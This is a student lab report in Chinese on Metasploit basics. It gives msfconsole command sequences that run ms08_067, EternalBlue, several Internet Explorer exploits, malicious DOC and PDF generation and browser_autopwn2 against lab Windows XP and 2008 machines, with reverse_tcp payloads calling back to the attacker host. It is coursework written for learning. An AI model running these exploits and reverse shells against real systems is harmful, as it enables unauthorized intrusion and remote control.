一、知识点总结

1.MSF攻击方法

主动攻击:扫描主机漏洞,进行攻击

攻击浏览器

攻击其他客户端

2.MSF的六种模块

渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去

主动渗透攻击:攻击某个系统服务

被动渗透攻击:攻击某个客户端应用

辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提

网络服务的扫描与查点

探查敏感信息泄露、Fuzz测试发掘漏洞

收集登录密码

攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码

空字段模块Nop Modules

一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)

由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率

编码模块Encoders

改变payload形状,使得不出现特定字符

确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”

后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

查看六种模块源码目录/usr/share/metasploit-framework/modules

3.MSF的三种用户操作界面

msfconsole

查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]

查看设置信息show [options]

查看攻击目标类型show [target]

查找命令search

查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows

启动数据库我参考了这篇博客

此次攻击的目标主动攻击的实践

ms08_067

payload/generic/shell_reverse_tcp(成功)

ms17_010_eternalblue

payload/generic/shell_reverse_tcp(成功)

攻击浏览器的实践

ms11_050(失败)

ms14_064

````payload : generic/shell_reverse_tcp(成功) ms10_002 set payload windows/meterpreter/reverse_tcp```(成功且唯一)

攻击客户端的实践

Adobe(成功)

ms11_006(失败)

成功应用任何一个辅助模块

auxiliary/server/browser_autopwn2(成功且唯一)

成功进行进程迁移

二、攻击实例

Exp5-1 实现ms08_067

靶机:Microsoft Windows XP sp3 (English)

payload : generic/shell_reverse_tcp

实验步骤

  • 使用命令msfconsole启动Metasploit终端
  • 然后使用命令search ms08_067搜索该漏洞对应的模块

  • 输入命令use exploit/windows/smb/ms08_067_netapi
  • 使用命令show targets查看渗透攻击模块可以成功渗透攻击的平台(其中我选择的是7)



    之后输入以下命令
msf exploit(ms08_067_netapi) > show payloads//查看可用的攻击载荷
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.238 //控制主机ip
msf exploit(ms08_067_netapi) > set LPORT 5323 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.235 //靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms08_067_netapi) > exploit //攻击



由图中看出,回连失败了,此时我将端口进行了更改,结果如下,并输入sysinfo查看靶机信息



输入ipconfig/all查看靶机ip地址

Exp5-2 实现MS17_010_eternalblue

靶机:Microsoft Windows 2008

payload : generic/shell_reverse_tcp

实验步骤

同Exp5-1类似,在终端中输入指令之后,使用命令show options 查看所配置的选项



之后输入指令exploit对靶机进行渗透攻击,如图所示,此处失败了,显示端口已被占用



将端口进行更改之后再次尝试,成功了



输入sysinfo查看靶机系统信息

Exp5-3 实现ms11_050

靶机:Microsoft Windows XP SP3 + IE8

payload : generic/shell_reverse_tcp

实验步骤

搜索漏洞search ms11_050

使用漏洞use exploit/windows/browser/ms11_050_mshtml_cobjectelement

设置靶机类型set target 3

选择攻击载荷set payload generic/shell_reverse_tcp

使用命令set SRVHOST 192.168.1.238设置地址

配置好地址后显示配置信息show options



而后exploit对此进行攻击,将产生的链接复制至靶机IE中打开,此时kali中会出现回连信息



最后失败了,当靶机打开该链接时会停止工作,链接被阻止,现在尚未想出解决方法

Exp5-4 实现ms14_064

靶机:Microsoft Windows XP SP3 + IE8

payload : generic/shell_reverse_tcp

实验步骤

首先搜索漏洞,然后使用漏洞,使用show payloads查看适用攻击载荷

选择攻击载荷set payload generic/shell_reverse_tcp

查看配置信息show options

而后通过查看配置信息添加所需选项

使用命令set SRVHOST 192.168.1.238以及 set LHOST 192.168.1.238设置地址



使用命令exploit对此进行攻击,将产生的链接复制至靶机IE中打开,此时kali中会出现回连信息

通过输入sessions -i 1获取会话连接,并输入ipconfig验证是否为靶机地址

再尝试输入shell查看结果

Exp5-5 实现ms10_002(唯一)

靶机:Microsoft Windows XP + IE8

set payload windows/meterpreter/reverse_tcp(唯一)

实验步骤

使用漏洞:use windows/browser/ms10_002_aurora

接下来的设置步骤同上一个类似,具体如下图所示



将产生的链接复制到xp中去,使用IE浏览器打开,产生回连



通过输入sessions -i 1 获取会话连接



运行run migrate尝试进行进程迁移,并输入ipconfig查看靶机IP是否一致

Exp5-6 实现ms11_006(唯一)

靶机:Microsoft Windows XP

实验步骤

使用漏洞:use windows/fileformat/ms11_006_createsizeddibsection

选择攻击载荷:set payload windows/meterpreter/reverse_tcp

设置攻击机地址及端口set LHOST 192.168.1.238 以及set LPORT 443

进行渗透攻击:exploit



此时将产生的msf.doc文件复制到xp中

在kali中输入命令use multi/handler进行监听,

然后输入配置条件,结束后输入exploit进行攻击,如下图所示



在xp中打开该文件



而后没有出现回连,失败了

我尝试输入show targets查看可攻击目标



发现选择target 0(自动)是失败的,而在target 2中的xp不兼容网上所下载的office word,需要英文版,所以还未解决这个问题

Exp5-7 实现Adobe

靶机:Windows XP sp3(English)

实验步骤

search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.238#攻击者地址
set FILENAME 20165323.pdf #设置生成pdf文件的文件名
exploit #攻击



将生成的20165323.pdf复制到Windows XP中

use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.238 #攻击者地址
exploit #攻击
```
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416155436452-941203292.png)
在xp中打开此pdf文件
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416155501555-1040053137.png)
回连成功
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416155516620-2009309035.png)
### Exp5-8 实现辅助模块
靶机:Windows XP sp3(English)
实验步骤
``` search use auxiliary/server```查看可用的辅助模块
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416160309292-1113122033.png)
使用```use auxiliary/server/browser_autopwn2 ```进入该模块
通过```info```查看该模块的功能,该模块将自动提供浏览器漏洞利用
首先输入```show options```查看需要配置的信息
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416160431227-1093168501.png)
进行相应的配置
```
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.238
set URIPATH “20165323”
```
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416160640405-1367757030.png)
接下来进行渗透攻击```exploit``` 并将产生的链接复制至xp中的IE浏览器进行打开
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416160824846-744091638.png)
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416160834365-1046039365.png)
成功了
接下来通过输入```sessions -i 2```获取会话连接,输入```dir```以及```ipconfig```进行验证是否回连成功
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416161231541-1546249950.png)
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416161241635-338016999.png) ## 三、实验中遇到的问题及解决方案
在使用“永恒之蓝”进行渗透攻击时,出现以下问题
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416165132620-484824901.png)
解决方法:查看解释后发现端口被占用了,将端口更改后便可以进行攻击
![](https://img2018.cnblogs.com/blog/1296510/201904/1296510-20190416165248188-1730136814.png)
## 四、实验总结
1.实验总结与体会
通过本次实验,我了解了更多的攻击方法和一些漏洞的使用情况,其实漏洞哪里都有,系统、软件这些都可以存在漏洞,以前我觉得我的本机在电脑管家中有时候弹出修补漏洞没啥用,现在看来,还是好好更新吧。在这个实验中也出现了很多问题,出现了这种不能回连的怪异的情况,也学会了很多解决问题和分析问题的方法,
2.离实战还缺些什么技术
感觉大部分是按照教程来做的,离实战还很遥远
3.用自己的话解释什么是exploit,payload,encode.
```exploit```攻击者对靶机进行渗透攻击的这一过程 ```payload```类似于之前实验中的shellcode,是攻击者进行攻击的“武器” ```encode编码```改编代码,防杀软识别

2018-2019-2 20165323《网络攻防技术》Exp5 MSF基础应用的更多相关文章

  1. 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用

    - 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...

  2. 20155226《网络攻防》 Exp5 MSF基础应用

    20155226<网络攻防> Exp5 MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit : Exploit的英文意思就 ...

  3. 20155318 《网络攻防》Exp5 MSF基础应用

    20155318 <网络攻防>Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传 ...

  4. 20145236《网络攻防》Exp5 MSF基础应用

    20145236<网络攻防>Exp5 MSF基础应用 一.基础问题回答 解释exploit,payload,encode是什么: exploit就是负责负载有用代码的交通工具,先通过exp ...

  5. 20155301 《网络攻防》 Exp5 MSF基础应用

    20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标 ...

  6. 20155321 《网络攻防》 Exp5 MSF基础应用

    20155321 <网络攻防> Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode 关于exploit,我觉得exploit是利用一些工具 ...

  7. 20155338 《网络攻防》Exp5 MSF基础应用

    20155338 <网络攻防>Exp5 MSF基础应用 基础问题回答 1. 用自己的话解释什么是exploit,payload,encode? exploit将真正要负责攻击的代码传送到靶 ...

  8. 2015306 白皎 《网络攻防》Exp5 MSF基础应用

    2015306 白皎 <网络攻防>Exp5 MSF基础应用 一.基础问题 用自己的话解释什么是exploit,payload,encode. exploit指由攻击者或渗透测试者利用一个系 ...

  9. 20155334 《网络攻防》Exp5 MSF基础应用

    一.基础问题回答 解释exploit,payload,encode是什么: 项目 作用 exploit 是负载有用代码的交通工具,让代码到达目的地,并作用 payload 是有具体功能的代码,能够完成 ...

  10. 20155211 网络攻防技术 Exp08 Web基础

    20155211 网络攻防技术 Exp08 Web基础 实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. We ...

随机推荐

  1. LOJ2276 [HAOI2017] 新型城市化 【二分图匹配】【tarjan】

    题目分析: 这题出的好! 首先问题肯定是二分图的最大独立集,如果删去某条匹配边之后独立集是否会变大. 跑出最大流之后流满的边就是匹配边. 如果一个匹配边的两个端点在一个强连通分量里,那这条边删掉之后我 ...

  2. noip2017部分题目

    D1T3 逛公园 题目描述 策策同学特别喜欢逛公园.公园可以看成一张NN个点MM条边构成的有向图,且没有 自环和重边.其中1号点是公园的入口,NN号点是公园的出口,每条边有一个非负权值, 代表策策经过 ...

  3. OpenCV和selenum实现点击操作

    import cv2 as cv import numpy as np from PIL import Image, ImageDraw, ImageFont import os from selen ...

  4. foreach 中获取索引index的方法

    一样,很少用到,记下来先 主要代码: foreach (var item in arr) { int index = arr.indexOf(item); //index 为索引值 }

  5. SPOJ DIVCNT2

    SPOJ DIVCNT2 题目大意: 求\(S2(n)=\sum_{i=1}^{n}\sigma_0{(i^2)}\) . 题解 我们可以先考虑括号里只有一个\(i\)的情况,这样,我们把\(i\)分 ...

  6. Linux-Nginx+rtmp+ffmpeg搭建流媒体服务器

    Nginx+rtmp+ffmpeg搭建流媒体服务器 说明: nginx搭建流媒体服务需要用到 nginx-rtmp-module 模块 具体操作步骤: 安装nginx (1)下载第三方扩展模块ngin ...

  7. 浅析redis缓存 在spring中的配置 及其简单的使用

    一:如果你需要在你的本地项目中配置redis.那么你首先得需要在你的本地安装redis 参考链接[http://www.runoob.com/redis/redis-install.html] 下载r ...

  8. day049--jQuery文档操作示例

    DOM操作(CRUD增改查删) 创建元素 $('span') // 创建一个span标签 后置插入操作   append(), appendTo() <!DOCTYPE html> < ...

  9. [Deep Learning] 神经网络基础

    目前,深度学习(Deep Learning,简称DL)在算法领域可谓是大红大紫,现在不只是互联网.人工智能,生活中的各大领域都能反映出深度学习引领的巨大变革.要学习深度学习,那么首先要熟悉神经网络(N ...

  10. 题解 P1496 【火烧赤壁】

    蒟蒻的第一篇题解,其实这道题是标准的离散化,模拟可以过,但是就没有训练效果了.我们首先先看数据,n<=20000,数据不多,但是范围大(-10^9<=Ai,Bi<=10^9),这时, ...